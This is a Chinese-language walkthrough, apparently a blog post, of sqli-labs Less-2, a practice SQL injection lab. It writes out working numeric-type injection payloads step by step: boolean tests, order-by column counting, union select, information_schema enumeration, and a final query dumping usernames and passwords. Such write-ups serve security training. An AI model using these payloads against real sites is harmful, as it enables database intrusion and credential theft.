【less-2】sqli-labs靶场第二关

简介: 【less-2】sqli-labs靶场第二关

解法

传入id=1查看页面回显

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1


第一步:判断注入类型。如字符型,数值型

数字型判断

当输入的参 x 为整型时,通常 abc.php 中 Sql 语句类型大致如下:

select * from <表名> where id = x

这种类型可以使用经典的 and 1=1 和 and 1=2 来判断:

Url 地址中输入 http://xxx/abc.php?id= x and 1=1 页面依旧运行正常,继续进行下一步。

Url地址中继续输入 http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。

原因如下:


当输入 and 1=1时,后台执行 Sql 语句:select * from <表名> where id = x and 1=1没有语法错误且逻辑判断为正确,所以返回正常。

当输入 and 1=2时,后台执行 Sql 语句: select * from <表名> where id = x and 1=2 没有语法错误但是逻辑判断为假,所以返回错误。

我们再使用假设法:如果这是字符型注入的话,我们输入以上语句之后应该出现如下情况:

select * from <表名> where id = 'x and 1=1'

select * from <表名> where id = 'x and 1=2'

查询语句将 and 语句全部转换为了字符串,并没有进行 and 的逻辑判断,所以不会出现以上结果,故假设是不成立的。

经过语句and 1=2测试 ,页面回显易常,所以该地方是数值查询。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=1

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2


第二步:判断表字段数(使用order by)

使用order by语句判断该表中一共有几列数据。order by 3页面回显正常,order by 4页面回显不正常,

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 order by 3--+

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 order by 3--+


第三步:使用union select 1,2,3联合查询语句查看页面是否有显示位

发现页面先输出了2和3,说明页面有2个显示位。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3 -- limit 0,1

接下来查看数据库名和版本号

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,database(),version() --+


第四步:利用sql查询语句爆破出数据库内的数据库名

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata -- limit 0,1


第五步:利用sql查询语句爆破出security数据库内的表名

使用group_concat()函数全部查询

通过mysql数据库中的information_schema数据中的tables表来查询所有的表相关信息

由于上面已经爆破出数据库名security,可以直接这样爆破

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

如果上一步没有爆破数据库名,也可以这样爆破

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

使用limit函数逐一查询

SQL语句,limit有两个参数,第一个参数表示从第几行数据开始查,第二个参数表示查几条数据,“limit 3,2”表示从第四行数据开始,取两条数据。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1 --+

查出表为emails,referers,uagents,users。明显users表是用来保存用户密码的。


第六步:利用sql查询语句爆破出users数据表内的列名

使用group_concat()函数全部查询

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

使用limit函数逐一查询

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users'  limit 0,1 --+

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users'  limit 1,1 --+


第七步:利用sql查询语句爆破出username、password列的值

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+

成功!

相关文章
|
1月前
|
XML 安全 数据库
【sqli靶场】第四关和第五关通关思路
【sqli靶场】第四关和第五关通关思路
64 0
|
安全 网络安全 PHP
CISP-PTE综合靶机-WinServer2008学习
CISP-PTE综合靶机-WinServer2008学习
654 0
|
8天前
|
数据安全/隐私保护
【less-4】sqli-labs靶场第四关
【less-4】sqli-labs靶场第四关
7 1
|
8天前
|
数据安全/隐私保护
【less-3】sqli-labs靶场第三关
【less-3】sqli-labs靶场第三关
8 0
|
1月前
|
安全 数据库
sqli-labs---第五关
sqli-labs---第五关
|
1月前
|
安全 数据库 数据安全/隐私保护
sqli-labs---第四关
sqli-labs---第四关
|
1月前
|
SQL PHP 数据库
Sqli-labs靶场搭建
本文章是在自己在使用新版phpstudy搭建靶场过程中遇到了很多问题,但在查询无果后,决定尝试旧版的phpstudy看能否成功,很幸运,成功了,也并不是网上的教程,说是php必须在5.2及以下.我使用的是5.4版本的.是对SQL注入进行一个简单的回归,然后就是对于自己在搭建靶场中所遇到的一些问题的解决办法,以及进行安装步骤的总结,对于自己的自主配置和独立解决问题的能力是一种培养
|
1月前
|
安全 数据库
sqli-labs---第二关
sqli-labs---第二关
|
1月前
|
安全 测试技术 PHP
如何搭建 sqli-labs 靶场保姆级教程(附链接)
如何搭建 sqli-labs 靶场保姆级教程(附链接)
|
1月前
|
PHP
8、sqli-labs环境
8、sqli-labs环境
18 1